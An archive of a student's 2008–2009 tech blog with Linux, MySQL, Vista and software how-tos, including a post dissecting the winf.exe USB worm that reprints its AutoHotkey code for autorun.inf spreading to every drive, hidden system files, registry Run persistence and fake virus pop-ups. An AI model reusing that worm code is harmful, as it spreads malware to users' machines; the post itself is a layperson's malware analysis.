LOAD DATA LOCAL INFILE '/var/log/sniffer.log' IGNORE INTO TABLE `sniffer`
FIELDS TERMINATED BY ','
ESCAPED BY '\\'
LINES TERMINATED BY '\n'

In your log file delimeter can be any charachter you want, you just need to specify it as FIELDS TERMINATED BY ','. Similarly you can specify the line terminator also.

For more information about this command refer this link. Also don't forget to try out PHPMyAdmin

Windows Vista – Explorer Restarting ????

2009-02-22T05:08:00.000-08:00

Technorati Tags: Vista problem

Well this is new problem I found in my friends laptop. He is running Vista in his HP Pavilion laptop. When he starts his system windows error reporting facility pops up a message saying “Windows Explorer has stopped working” and gives a option to restart explorer. But even after restarting same message pops up again and this continues indefinitely. Well if only message pops up there will not be in a problem but when message pops up entire desktop stops working only way to access the system is through task manager there also for each click on folder to work I need to close error message box. I tried searching solution for this problem in Google. Look at the first page in Google search I got not even single entry about this problem by Microsoft !!, all entries are from some forums Click here. The problem mentioned in the forum was similar to what I’m currently facing but their solution didn’t work for me. I tried using one tip suggested by techfiz i.e. to start Windows in safe mode and disable all start up service and then scanning the system. Well it also went in vain. Now backed up data in the system into my external hard disk and re installed entire system.

I don’t understand why Vista is so vulnerable to software. My another friend when installed Alcohol a virtual drive software his system started restarting indefinitely and final option we used was demolishing Vista and installing XP. MS should have at least tested Vista before sending it to market. Well I hope Windows 7 doesn’t follow the same path as Vista.

MySQL problem in Mandriva 2009 Solved

2009-02-14T07:41:00.000-08:00

I had mentioned in my techfiz blog about MySQL server failing to get started in the Mandriva 2009. When you try to start mysqld you may get this error.

ERROR: hostname cannot be localhost, mysql_install_db is quite unstable
https://qa.mandriva.com/show_bug.cgi?id=38398

The link in the error message leads to Mandriva forum which tells to uninstall and then re-install it with MySQL package of Mandriva 2008. But this didn't solve the problem for me. Actually solution is simple. As you can see in the error message it tells that host name can't be localhost. So I tried changin the host name and it actually worked !!. Try following commands.

[root@localhost vasudev]# hostname vasudev

This command changes hostname to my name instead of localhost. Now try starting mysqld and you will get some warning message which is shown below

[root@localhost vasudev]# /etc/init.d/mysqld start
Initializing MySQL database:
WARNING: The host 'vasudev' could not be looked up with resolveip.
This probably means that your libc libraries are not 100 % compatible
with this binary MySQL version. The MySQL daemon, mysqld, should work
normally with the exception that host name resolving will not work.
This means that you should use IP addresses instead of hostnames
when specifying MySQL privileges !

This is just because daemon is not able to find your new host name in /etc/hosts file, Just chage the localhost in /etc/hosts file to your new host name and restart the mysqld and your problem is solved. Once you change the /etc/hosts file it should look similar to this.

127.0.0.1 vasudev

I hope this will solve the problem for all of you :)

Microsoft Office Live

2009-01-20T03:24:00.001-08:00

We know about Google docs now the MS has also entered the same field by starting Office Live. I came across this when I installed Windows Live writer. Windows Live software suit consists of Office Live Add-in. When you click on it you will be taken to website http://workspace.office.live.com. You need to login with your Live ID. Well there is a big difference between Google Docs and Office Live

Google Docs allows you to create docs online and also allows offline access to the documents using Google Gears. Well story in Office Live is different when you click on new word it Launches Word in your PC !!!! Well my system has 512MB RAM and System got hung and I had to press reset button. Their site it takes lot of time to load in slow internet with all flashy things. Huh what else can I expect . (Well its my fault that I’ve less RAM :) ).

You can also access it from you Office software. See image below.

Well this is a good news for all those who want to do their work in MS Office. Hope the beta label will be removed soon….

mono - A .NET frame work for Linux (Cross Platform)

2009-01-11T06:59:00.000-08:00

Mono is a Cross platform .NET framework development project lead by Novell. Its main aim is to create a .NET comaptible set of tools that can be run on Linux, BSD, UNIX, Mac OS, Solaris and Windows operating system !. Its licensed under GPL, LGPL and MIT. First version of Mono was released in 2004 and current release is mono 2.0. Current release provides the core API's of .NET framework and Visual Basic .NET and C# version 2.0. It also supports Java, Boo, Python, Javascript, PHP etc.

Mono consists of 3 groups of components

Core components
Mono/Linux/GNOME development stack
Microsoft compatibility stack

Frame work architecture of Mono

Mono and Microsoft'w patent issue

On November 2, 2006, Microsoft and Novell announced a joint agreement whereby Microsoft agreed to not sue Novell’s customers for patent infringement.^[10] According to Mono project leader Miguel de Icaza,^[11] this agreement extends to Mono but only for Novell developers and customers. It was criticized by some members of the free software community because it violates the principles of giving equal rights to all users of a particular program (see Novell and their Patent Agreement with Microsoft).

Currently GNOME is using mono packages and some of the application for GNOME like Banshi, Beagle desktop search, F-spot are developed using Mono API.

Mono is also providing MonoDevelop a free C# and ASP .NET IDE. You can download it and other Mono packages for your system from Mono's project website here is the link http://www.mono-project.com/Main_Page.

Overall I can say Microsoft's propereitary .NET framework which is developed only for Windows XP can now be migrated to all the platforms due to the efforts of Open source community. ;) (You can get full explanation of Framework architecture of Mono in Wikipedia and Mono project Website).

Source:
Wikepedia
Mono project website

winf.exe Disected

2009-01-07T07:46:00.000-08:00

Well folks I got my hand on worm winf.exe from my friends pen drive even thought I couldn't get much because of Avast has deleted harmful viruses. But I could save following files.

1. install.txt

2. pathlist.txt

3.drivelist.txt

4. thb.ico (which appears as drive icon)

5. DLL.ico (which is used to mask the programs as DLL file in system folders)

6. Icon.ico (used to hide winf.exe)

If you want to see these files just rename winf.exe file to winf.rar and extract files. Well when I went through the files I got a rough idea of its working which I'm going to explain here.

The sfx should be created with the extracting path as %temp% *

and the program to run after extract is , winf.exe install.txt *

These lines tell that the install.txt is a input to file wiinf.exe. Next program is supposed to read following entry in registry

HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,status

If its already infected progrma simply exits. The following lines are used for this.

Regread,regvalue,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,status

ifequal,regvalue,present

exitapp

Next it reads the file pathlist.txt which has following contents

C:\WINDOWS\system32\win.dll

D:\RECYCLE

E:\RECYCLE

F:\RECYCLE

ArrayCount = 0

Loop, Read,%temp%\winf\pathList.txt

{

ArrayCount += 1

Array%ArrayCount% := A_LoopReadLine

}

Loop %ArrayCount%

{

path1 := Array%A_Index%

Ifexist,%path1%

Ifexist,%path1%\win.exe

Ifexist,%path1%\std.txt

exitapp

FileCreateDir,%path1%

if errorlevel

continue

else

{

Filecopy,%temp%\winf\win.exe,%path1%\

if errorlevel

continue

Filecopy,%temp%\winf\avgs.exe,%path1%\

Filecopy,%temp%\winf\drivelist.txt,%path1%\

Filecopy,%temp%\winf\win.mp3,%path1%\

Filecopy,%temp%\winf\icon.ico,%path1%\

Filecopy,%temp%\winf\thb.ico,%path1%\

Filecopy,%temp%\winf\DLL.ico,%path1%\

FileCreateDir,%path1%\reg.bkp

break

}

Filesetattrib,+SH,%path1%

Well look at the above piece of code. As per my interpretation what happens here is first path is copied into a variable and then checks to see if path already exists and files like win.exe and std.txt is present, this implies the system is already infected and hence program exits. If not present all the files are copied into all the specified path. Then path attribute is changed to such that they act as system files. Last line of above code does this.

See the following code

Filesetattrib,+SH,%temp%\thb.ico

Filesetattrib,+SH,%temp%\autorun.inf

filedelete,c:\autorun.inf

Filecopy,%temp%\winf\thb.ico,c:\

Filecopy,%temp%\winf\autorun.inf,c:\

filedelete,D:\autorun.inf

Filecopy,%temp%\winf\thb.ico,D:\

Filecopy,%temp%\winf\autorun.inf,D:\

filedelete,E:\autorun.inf

Filecopy,%temp%\winf\thb.ico,E:\

Filecopy,%temp%\winf\autorun.inf,E:\

filedelete,F:\autorun.inf

Filecopy,%temp%\winf\thb.ico,F:\

Filecopy,%temp%\winf\autorun.inf,F:\

filedelete,G:\autorun.inf

Filecopy,%temp%\winf\thb.ico,G:\

Filecopy,%temp%\winf\autorun.inf,G:\

filedelete,H:\autorun.inf

Filecopy,%temp%\winf\thb.ico,H:\

Filecopy,%temp%\winf\autorun.inf,H:\

filedelete,I:\autorun.inf

Filecopy,%temp%\winf\thb.ico,I:\

Filecopy,%temp%\winf\autorun.inf,I:\

filedelete,J:\autorun.inf

Filecopy,%temp%\winf\thb.ico,J:\

Filecopy,%temp%\winf\autorun.inf,J:\

filedelete,K:\autorun.inf

Filecopy,%temp%\winf\thb.ico,K:\

Filecopy,%temp%\winf\autorun.inf,K:\

filedelete,L:\autorun.inf

Filecopy,%temp%\winf\thb.ico,L:\

Filecopy,%temp%\winf\autorun.inf,L:\

filedelete,M:\autorun.inf

Filecopy,%temp%\winf\thb.ico,M:\

Filecopy,%temp%\winf\autorun.inf,M:\

Well this code first changes attribute of the files extracted into temp folders to act as sytem files. Further it deletes any autorun.inf file whic may present in the all the drive and then winf.exe, autorun.inf, thb.ico is copied into all the drives. Further it checks to make sure all copies are present and make a backup copy of it. I couldn't properly interpret this part see it below.

ArrayCount = 0

Loop, Read,%temp%\winf\driveList.txt

{

ArrayCount += 1

Array%ArrayCount% := A_LoopReadLine

}

Loop %ArrayCount%

{

drivename := Array%A_Index%

;search in the root of all drives in the drivelist

ifexist,%drivename%:\winf.exe

{

Filecopy,%drivename%:\winf.exe,%path1%\reg.bkp\winf.exe

break

}

else

continue

}

Filesetattrib,+SH,%path1%\reg.bkp\winf.exe

Further it creates a desktop.ini and autorun.inf files and fills it with content which is show in the code below.

;*******************************create desktop.ini*************************************

ifnotexist,%path1%\Desktop.ini

Fileappend,

(

[.ShellClassInfo]

IconFile=C:\WINDOWS\system32\win.dll\DLL.ico

IconIndex=0

),%path1%\Desktop.ini

Filesetattrib,+SH,%path1%\Desktop.ini

;*******************************create autorun.inf*******************************

;Open=win.dll.exe

;shell\open\command=..\winf.exe

ifnotexist,%path1%\reg.bkp\autorun.inf

Fileappend,

(

[Autorun]

open=winf.exe

shellexecute=winf.exe

shell\Auto\command=winf.exe

),%path1%\reg.bkp\autorun.inf

Filesetattrib,+SH,%path1%\reg.bkp\autorun.inf

;*******************************end of autorun.inf*******************************

Further it writes following registry values.

HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,status,present

HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon

Also this virus is the one which pops up message boxes when you visit orkut or youtube. Well this kinda of message you will be getting and also it has a playback sound ;).

message1= msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window ``r``r orkut is infected by jammer worm ,30

message2= msgbox,262160,File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus ``r``r ,30

message3= msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run``r``r

Well still there are many things this virus can do I can't explain everything here ;). Whenever you see winf.exe files just scan it once to remove all harmful programs(win.exe, avgs.exe, reg.bkp) then you are left with only text image and a mp3 file. If I interpreted something wrongly here please correct me with you comments.

MySQL failing to start in Mandriva 2009

2009-01-06T08:26:00.000-08:00

Well one more surprise is given to me by Mandriva 2009 after the Compaq Presario incidence. Well that incidence is because of H/W manufacturers not software problem. But this is again strange problem which I got when I tried to install Joomla for developing a website. As Joomla needs MySQL I just typed mysql in shell prompt, output showed me that MySQL(mysqld) is not running. So I used following 2 commands

#/etc/init.d/mysqld start
#service mysqld start

I know both commands are one and the same ;) both used to start the mysqld (mysql daemon). Well following error I got.

ERROR: hostname cannot be localhost, mysql_install_db is quite unstable
https://qa.mandriva.com/show_bug.cgi?id=38398

Well I followed the link given in error message. https://qa.mandriva.com/show_bug.cgi?id=38398 this leads to Bugzilla of Mandriva. I tried to understand what they have given there without any clue of what it actually is. One person had given error message which I've showed above. Solution was something like this

1. rpm -e mysql
2. rm -f /var/lib/mysql/mysql/*
3. /bin/hostname 127.0.0.1
4. urpmi mysql

or do steps 1 and 2 and then install latest mysql-5.0.51a-4mdv2008.1

I followed 1st and 2nd link and finally installed the mysql which comes with Mandriva 2009 and here I go when I try starting mysqld it says can't read /var/lib/mysql/mysql which I deleted as per steps they have given. Well I'll try again with Mandriva 2008 cd hope it works ;)

Now searching for a more stable distro for my project work ;)

Temporary Solution for problem found in Mandriva 2009 installed on Compaq Presario CQ40

2009-01-03T01:47:00.000-08:00

Hi folks as I mentioned in my last post about whisteling sound problem today I've come up with a solution. Thanks to our System Analyst who helped me to find the solution. Well here are the few things you need to do.

1. Launch the kmixer's mixer window
2. In Settings menu select Configure Channels
3. Select all the options in the selection window
4. You'll see all the controllers in the kmixer window
5. Mute Analog Loop back 1 & 2, PC Beep

You are done and the whisteling stops ;).

Well what actually we did is muted the microphone so your notebook still can play music without any problem. :D

And this particular problem is only found in Compaq Presario CQ40 series so go ahead with installation of Mandriva without any worries if you are using different notebooks ;)

My Final year project IDEA !!

2009-01-02T05:28:00.000-08:00

Well long waited final semester of Engineering has finally come ;). This semester we need to do a project and I was not at all getting any idea regarding the project. Finally our college System Analyst gave me idea and I'm waiting to work on his idea. Well I'm going to give a brief introduction of the idea here.

The name I gave to my project is very long and I don't know whether the name suits the idea. If you folks have a better name for the project please let me know about it. For now its called "Centralised Internet Access Control and Monitoring System". Well let me describe what is my project actually.

Main idea is to provide a single server to allow all the persons to access internet. Presently we have arround 6 server (say) in our college. In each floor systems accessing internet is given different IP address. Say in 5th floor its 172.16.4.* and for 3rd its 172.16.3.* and some machines also have a range of 172.16.2.*. So main idea is to have a single IP range for all the machines that are allowed to access internet. Which means we should have a single server to control internet access for all machines in the college. Well you may think what is the big deal in this ;). Wait till you listen to entire story.

Second thing what our system analyst wanted to do is controll user access to the internet.Currently students should manually enter their USN in a sheet when they enter the lab and its assumed all students can access internet for only one hour. But this is not happening some time students will be sitting more that 3 hours in the internet lab. So we should have a authentication for the users who can access the internet and some mechanism for restricting internet usage time for the students. Well all this mechanism shoul reside on the central server (that is why we wanted to make a single server for controlling internet access).

All what I told is on the server side of the project. Now lets take a look at what is needed on a client. First we need a method to authenticate the client. For know the project is only meant for Firefox browser since it is open source and can be modified and recompiled. And some kind of mechanism to keep track of sites accessed by each user. Also user should not be allowed to access banned sites.

Well that finished client and server now whoose gonna take care of them yes a administrator is needed. Well administrator should have a web access to the system. He should be able to manage users, specify the time of access, blocked site,report generation and so on ;)

Well thats all about my project I'll elaborate you folks with all technology I'm going to use in the project and also about their configuration steps. For now these are technolgies I'm planning to use in my project.

1.RADIUS and LDAP
2.LAMP(Linux,Apache,MySQL,PHP)
3.Java,JSP
4.Firefox

Firefox getting hung up - Is this a bug?

2009-01-02T04:16:00.000-08:00

I'm using Firefox 3.0.5 on WINDOWS XP and having a problem while accessing the Facebook. This problem started to me a week back whenever I launch some applications in facebook firefox will stop responding and only way left with me is to kill the process. This problem occurs only for facebook apps. First I thought it might be due to corrupt installation but same problem occured to my friend when he accessed facebook. Firefox is working fine with all other site only with facebook this problem is occuring. So my big question is is this a bug ? if not can you provide me a solution ;)

Problem found in Mandriva 2009 while installig on Compaq Presario CQ40 Notebook series

2009-01-02T03:28:00.000-08:00

My cousin got a new Comapq Presario Laptop as my exams got over I thought of installing my favourite Linux distro Mandriva (2009). Well installation went fine and I happily rebooted to see how it will work on Laptop. Well here the problem started instead of Mandriva normal boot flash screen command screen started and a list of undetected hardware list came infront of me and a loud noise noise started to came from laptop !!!. Well I didn't know what to do, I some how powered off the system. Today I asked my sir to do a clean reinstall and he did it but problem still persists. But he told its nothing but a "loop back from microphone on Laptop to its speaker".

I tried following

1. Tried to mute all loop back sound using kmix.
2. Opened Mandriva controll center and
     Disabled Pulse Audio
     Disabled routing from ALSA to Pulse Audio
     Disabled user switching for audio application option

Did all this blindly in a hope of stopping the noise. Well it still didn't work !! Well sadly rebooted to Windows ;) well as a last try I googled up this matter and here is what I got from Mandriva forum

I don't think our sound controllers work very well for the time beein'. I had to disable pulse audio as well as 'shifting user' or something like that. Then I had to choose Intel HDA driver. Log out ---> back in of course.

The strange thing is that I had another (awesome!) mixer with the clean Mandriva 2009 install. Because of the ATI HD3300 and all videoproblems I ended up updating via backport, so I am not quite shore when what happened, but after updating to fglrx-kernel (ATI 8.11) I had some sound issues.

So my call: - disable pulse and switching user
- Choose Intel HDA-driver(s). I have two controllers visible.
I choosed Intel HDA as alternate driver as well.
- Still not working? Consider kernel update. I am running 2.6.27.4-server-2mnb @ the moment

So what I did was correct but if it had worked Notebook will be muted. And as I found on the forum only last option I'm left with is to upgrade Kernel to 2.6.27 version. Well I'll try this last option and update you folks with result.

Image source: http://forum.mandriva.com/viewtopic.php?p=596151&sid=9474495ee0f0df300df9391419e3e591

Virtualisation Using Virtual Box

2008-11-06T21:18:00.000-08:00

Ever imagined of using a new OS in your existing OS may be Windows or Linux without rebooting your system, well you can do it if you have Virtual Machine softwares some of them are VMWare,Virtual Box by SUN,Quemu etc. Here i'm going to tell how to set up a new system inside your Windows OS using Virtual Box.Download Virtual Box from this link.Install the software and then launch Virtual Box.From the File menu select Virtual Disk Manager. See image below

Virtual Disk manager will pop up, there click on new and a disk creating wizard will pop up as shown in the image below. Click next and select Fixed-size image.In the next window you should allocate size for virtual hard disk image. Maximum possible for Fixed allocation is 3.5GB. Image describing the step are below.

As you can see you can name your hard disk file also image will be stored by default in C drive in MyDocuments . Click on the folder icon to browse to other drive and save there. Click next and click on Finish, image creation will start. If you want more you space can repeat the procedure again to create another disk image. I suggest you shoul provide atleast 6GB space for Linux installation.

Now you are done with creating hard disk required for your for your virtual system and click OK on Disk Manager. Now its time to setup your machine. Click on New button you can see in tooll bar. Virtual Machine wizzard will pop up. Give a name to your virtual machine and select OS from the drop down list. See image below.

Click Next, next window allows to specify RAM for your virtual system. Beaware the amount specified will be used by virtual machine when you start it so first confirm how much RAM your system is having and then allocate wisely to your virtual machine. See image below I have 512MB RAM so allocated 256MB to virtual machine.

Click next and you now have to allocate hard disk for your system. Since we allready created the hard disks just click on Existing allocate one of already created and click next and click Finish. Your virtual machine is ready, there are few things you need to do before you can start your virtual machine. Sice maximum possible hard disk allocated by virtual box is 3.5GB you may want to add some more space. Now click on Hard Disk in the main window and settings of virtual machine will pop up there click on Attach New Hard Disk icon and attach how much ever spce you want. See image below.

Now in the Settings window click on CD-ROM tab and check Mount CD/DVD Drive and then click Ok. See image below.

You may also want to share some folders in your system with you virtual machine that also you can do it just click on Shared Folders tab and browse and add file you require. But remember the folder name since you need it to mount it in virtual machine.

Now you are done start the vitual machine and install your OS and enjoy the Virtualization :)

NCTUNS 4.0 Installation Help

2008-11-05T10:38:00.000-08:00

NCTUNS is a network simulator. I came accross it in my network laboratory. There are several versions of it Currently it is NCTUNS 5.0. I'm using NCTUNS 4.0 which requires Fedora 8 but it can aslo be installed in Fedora 7. I'm mainly writing this blog to help my friends who want to install and work in NCTUNS (atleast during their exams :) ).

Firs thing to be done is to download the NCTUNs package(tar.gz format) at this link.NCTUNS 4.0 provides simulation of IEEE 802.16(d) (WiMAX),DVB-RCS satalite networks etc.

After you downloaded the file copy it into your home directory. You should remember to login as root user for installation. Also as per installation guide you should use either bash/tcsh shell for installation. Now extract files from package. For this you need to launch terminal and type following command.

tar -xvf NCTUns-allinone-linux-2.6.24.2-f8.20080225.tar(or whatever the downloaded file name is)

Next change into extracted directory, by default it is NCTUNs 4.0. List the files you will find install.sh before you start installation make sure you have disabled SELinux and Firewall. If you didn't your nctuns will not launch properly after installations and you may have to reinstall it.After disabling the SELinux and Firewalls execute install.sh file.

./install.sh

Help for installation can be found by passing -h switch to install.sh.(./install.sh -h).

During installation it may ask you several questions since we are installing in normal mode just type Yes or simply y. It takes little time for installing new NCTUNs kernel. If you already installed older version it will upgrade the kernel. After installation is done shell prompt returns. Reboot the system and in the GRUB boot loader you will find new entry nctuns4.0. Choose the newly installed NCTUNs client and boot the system installation is done. :)

Now before you can launch NCTUNs client you need to do certain changes in .bashrc(bash shell) file. That is you need set 3 environment variable. Since we did a normal installation default location of installation is /usr/local/nctuns. Just add the following line to .bashrc shell configuration file.

            export NCTUNSHOME=/usr/local/nctuns
            export NCTUNS_TOOLS=/usr/local/nctuns/tools
            export NCTUNS_BIN=/usr/local/nctuns/bin

Then add the following line to set all the environment variables, if you do not you need to set these variable before you launch nctuns program.

source /usr/local/nctuns/etc/nctuns.bash(.csh for cshell)

After these changes are made create user by name nctuns and password nctuns, if you didn't create user you wont be able to launch ping window.After you are finished save and exit from shell prompt, then reopen shell promapt, open 3 tabs. In first tab type dispatcher and press enter. In the second tab type coordinator, In the third window enter nctunsclient. These set of commands will launch NCTUNs window. Go on and do the simulations. :)

Note: The above said procedure is for bash shell only. Also don't forget to disable 3D Desktop effect otherwise your NCTUNs window will go black each time you click on some icons.Also you can add the above mentioned lines any where in .bashrc but please don't change whatever already there in the file.

GDB's GUI "insight" Tutorial

2008-10-30T10:02:00.000-07:00

I already have written a blog mentioning about a GUI for gdb. Today I'm going to give a brief tutorial of how to install insight and some basics for using the insight in debugging your programs. As I mentioned earlier this program can be downloaded from this link.

To install insight you first need to extract the insight folder from archive using following command

[root@localhost ~]# tar -xvf filename

Once extracting is done enter the insight's directory and use following commands for installing

[root@localhost insight]# ./configure

[root@localhost insight]# make

[root@localhost insight]# make install

Note that all these commands will take some time to finish so have pateince till they finish :)

To begin with any executable file that you want to debug must contain a debugging information in it, this info is generated by compiler when we specify -ggdb or -g switch to the compiler either it is c(gcc) or c++(g++) . To launch insight you just have to type insight in shell prompt. The GUI version of gdb will be launched and you can have a look at it in the following image.

To load your executable file click on File tab and click Open as shown above this will open up a file browsing window from where you can select your executable file. See image below.

Once the file is loaded you can see your program in the main window with "-" symbol at place where you can insert break points. When you insert break points you can see a "red" square dot to specify break points. See image below

You can see a animation of a man running in the top left corner in the tool bar it is the button for running your program click on it program will star and stop at your first break point. You can make out this by seeing the color of break point line which will now turn into green. The button next is to step that is line by line execution and the one next to it is for next instruction of gdb difference between next and step is that if current instruction is a function call step will step into function where as next executes entire function and stops at instruction next to function call. The next 2 buttons are finish and continue. Finish resumes normal execution ignoring all further break points where as continue executes all instruction till next break point is encountered. Next to buttons are for assembly language executing. Which is not required by normal users (it is for developer designig inbuilt functions or system calls).

Thinking of how to see and modify variable value? Well click on the view tab you have a set of options there.

I'll start from basic one Local Variables. Click on this option a window consisting of all local variable of currently executing routine will open up. If you want to change any variable value you just need to right click(hold) and click on edit which will make a text box to appear where you can enter new value or modify existing one. See following images.

Next let us see the Watch Expression option. When you use you will notice that some variables which are globals are not listed. For global variables we use Watch expression. Here you can even enter expression like root[i] (say) and find their value during each step in execution. You can edit values using similar steps as local variables which I mentioned above.

As you can see in image array variables are collapsible structures to see their values, one in the image is multi dimensional array.

Other options:
1.Stack Trace can be used to keep track of nested function calls especially helpful in recursive functions.
2.Memory Dump provides you with memory lay out of the program you can see where in the memory are variables are stored using this.
3.Registers provide you with CPU register contents useful if you are using register like key word.
4.Console: this for the one who is missing old command line GDB :)
5.Function Browser provides details of set of functions declared in current program.
6.Breakpoints provides list of break points in current program.
7.Thread List for thread programmers.
Below are some snap shots of some of these options.

Registers

Console

You have to remember this unlike other debuggers in Linux(kdbg) insight should be launched from shell console otherwise you won't be able to recive inputs or see outputs of an interactive program. Following screen shot displays insight utilizing shell console to get the input.

insight also helps in advanced debugging as you can see in first image of this article, at top right corner of tool bar a drop down list is provided with following views.

Source (Normal user)
Assembly
Source + Assembly (split view)
Mixed (assembly language version for each high level language instructions)

Following image is of assembly language version of a program I was debugging when I took this screen shots.

So now tell me isn't it easy to debug your code with this tool ? Any way HAppy Debugging :)

Font Help in Mandriva 2008.1

2008-10-27T23:26:00.000-07:00

Is Firefox in Mandriva 2008 not displaying the Websites in local fonts properly ? Well in such case don't worry cos even I had the same problem but I solved the problem and now I'm going to tell how can you people do it in Mandriva. Don't worry you don't have to use Shell for configuring this its All done through Mandriva' s control center. First launch the Control Center. You will see a side bar containing some tabs and a wide right part. You can have a look at it below.

You can see the Software Management tab now click on Install and Remove Software in the right part of the Window. In the software management window set the to drop down list in top left corner to "All". In the side bar Collapse "System" under that collapse "Fonts" and select "True Type" now in the right side you will see list of fonts available, if check box in front of font name is checked then that font is all ready installed in your system. In the list search for "fontsttfkannada"(any local font you wnat I wanted Kannada) and check the check box in front of it. Also click on internationalisation and select package locales-kn(for kannada language). Steps(installing kannada font) which I told here are shown in the image below.

Now just click on Apply button. One good thing about Mandriva which I want to mention here is whenever you install a package Mandriva will search for all the dependencies of the package will be searched and installed, so you don't have to worry about dependencies. So when you click on apply you may get a box specifying dependencies and asking your confirmation for installing them. Just click "OK" in such case. Make sure you are connected to Internet. Mandriva will ask confirmation for connecting to internet and download all required packages and installs them. Once this is done what next? See image given below.

As shown in above image select the System tab in left bar. In the right window click "Manage, add and remove fonts. Import Windows(TM) fonts" A font window will open up as shown in image below.

At the bottom of window you can see 4 buttons click on "import" and a Import fonts window will pop up which you can see in the above image. There click on the "Add" button it will open up a window for searching the fonts there follow this path

/usr/share/fonts/ttf/Kannada/

This is the folder were the fontsttfkannada is installed by Mandriva. In this folder you will see single font by name "Sampige.ttf" select it and click "Open" button given at bottom of window. Following image describes this step.

Now you will be returned to Import fonts window you will see "install" button in the bottom right corner just click on it and font will get installed but import window will be there even after installation is complete now just click on "Cancel" and now check if "Sampige"(or font name) is in the font list. Now click on Close. One more step to go. See image below.

Now again in the "System" tab just click on "Manage localization of the system" in the window which pops up search for "Kannada"(or any font you want) clcik on "Next" next window will give you a least of Countries were "India" will be selected if you select any Indian Language in previous window. Click next to finish the job. Log off and then Log in again for changes made to take effect. And try opening your favourite local language site and there you go now every thing is looking how it should look. Here are set of images which describe these steps.

This is how Kannada website http://sampada.net will look in Mandriva after making the changes.

Now tell me whether you felt it difficult or easy to configure the local fonts in Mandriva :)

An awsome audio enhancer Stereo Tool (DSP Plug-in)

2008-10-27T09:02:00.000-07:00

Your speaker's are not giving good quality out put? Want to get good effects hidden in each song? Then you should download this plug-in for Winamp like players this include these players Winamp, SAM Broadcaster, RadioBOSS and all those player which supports Winamp DSP plug-ins.

I came accross this when my sir gave me the link of the website of this tool. As its a free software I thought it might not be that good still I wanted to give it a try so downloaded it from this link. Here you will see a screen shot of this tool just click on it to download the plug-in.

Direct Download Link

Before I was using DFX Audio Enhancer which is rated as the best audio enhancer in google also a proprietary software. But after using Stereo Tool plug-in I found DFX is nothing compared to this free software. Ya there is some problem with clarity if you try to alter all the controls shown in above image at a time, I suggest try each controls individually to see their effects especially try increasing Post AMP and Pre Amps at top sound of the song will be boosted awesomely. Forgot to mention some of the features are trial what the website tells about the trial features is

If these features are enabled on the free (non-registered) version, a message ('This sound is processed by Stereo Tool') is played once every 12 hours. This should not interfere with most non-commercial usage.

So not a big problem rite? This plug-in is actually developed for the FM-Stations so registered version is for the FM Stations. And when you activate you can see a line telling that trial features activated in the header of the plug-in. When you launch Winamp the plug-in will be launched along with it if you don't want this to happen in the plug-in there is a option which says "open as a system tray icon on launch" just check this option and it will reside in your system tray when you open it. I also suggest you to play songs without selecting any presets(also play with presets you will notice the difference).

This software is for Windows only but don't worry Linux is also having similar things one of them is Ardour Digital Audio Workstation check out this link.

Well folks I hope you people will also like the Stereo Tool. Try it and don't forget to leave your experience as a comment :)

Have you gone fishing in Linux ? !!

2008-10-25T08:42:00.000-07:00

Surprised by the heading of this article ?? Well the fish i'm referring here has nothing to do with living creature. The fish actually stands for FIles transferred over the SHell and it was originally developed by Pavel Machek. Now lets see what is this fish all about. I came across this fish few weeks back when i needed to copy more than 2GB of software from one of my project PC to other. I didn't had any USB device to copy these softwares so that I can transfer them to other PC and our sir took the DVD containing these software to provide it to other students. My brain started thinking about sharing the files as we do in Windows so we can access files from any where on LAN so I tried to share the files using NFS but it didn't work then I tried using scp,ssh,ftp well nothing seemed to help me. Then I asked our sir how can I transfer the files to other Desktop over LAN he told "fish it out !!" well I was not sure what to tell I just asked what he actually meant.Then he told its a protocol which allows you access and modify the files across the world!! only you need to know the domain name and password for a specific user.

Now lets have a look at the detailed usage of FISH. To use this protocol your Linux version should have KDE3.1 or higher Desktop environment. FISH is incorporated into Konqueror web browser/file manager

Now start the Konqueror(if you are using GNOME Desktop) (in case you are using KDE Desktop just click on the home icon to launch the Konqueror). Once konqueror is running just type following line in the address field

fish://username@computer_name(or host)

Once you are connected to the machine you specified You will get a message box asking the password for specified user. See the following image

Once you enter correct password you are in the home folder of specified user on the remote machine. And you feel like you are in your machine's file system no command prompt or commands required to access files or modify files, isn't it cool.

Now to access your files or create a new file on the remote machine you just need to follow normal procedures you used to do, i.e to create a new file just right click on Konqueror window and select required type of files under Create New. To open a text file just double click on the files which will open the file in Konquerors corresponding embedded application. If you want to open the files in application of your own choice just right click on the file and select applications under the Open with. See the following images

You can also edit or create rich text documents using the FISH in konqueror. Konqueror is a 'drag-n-drop' style file manager i.e you can copy or move files by just dragging the things arround. So you can create a rich text doccument in your machine and then drag it over the network to remote machine really cool rite no ftp no ssh nothing simple 'drag-n-drop' works even for remote machines. For such drag n drop thing to be made easily just split the konqueror into right-left or top-down views. This can be done from Window tab option. Following image shows top-down splitting of konqueror window.Set one of the view to your machine file system other to refer remote machine, to transfer files drag files from one view to other and konqueror provides you option asking whether you want to copy files and move files

Well... coming back to editing of rich text files, just right click and open files with Open Office writer after you are done editing is done konqueror will prompt for uploading the changes. Following set of images illustrate this.

Thus Konqueror along with FISH protocol provides us a way of doing remote computing. Note that FISH is not same as remote desktop which is there in Windows where remote user will be logged off if you try to access the remote machine. With FISH the remote user will not even know you are accessing his Machine, again note that this is not a security threat because without knowing the user name and a password you can not access the remote machine unlike Windows file sharing where shared file can be seen by any one in the network without any authentication.

Well this is all about a small fish which lives in Linux. With this technology I was able to transfer all of 2GB file without any problem to my other machine across the network. Hope you will also try fishing in Linux :).

Courtsey: Linux.org

Linux - According to me

2008-10-13T08:01:00.000-07:00

Linux was created by Linus Benedict Torvalds in 1991. Linux is a operating system Kernel used by a family of Unix Like operating systems.It is released under the GNU General Public License version 2(GPLv2).

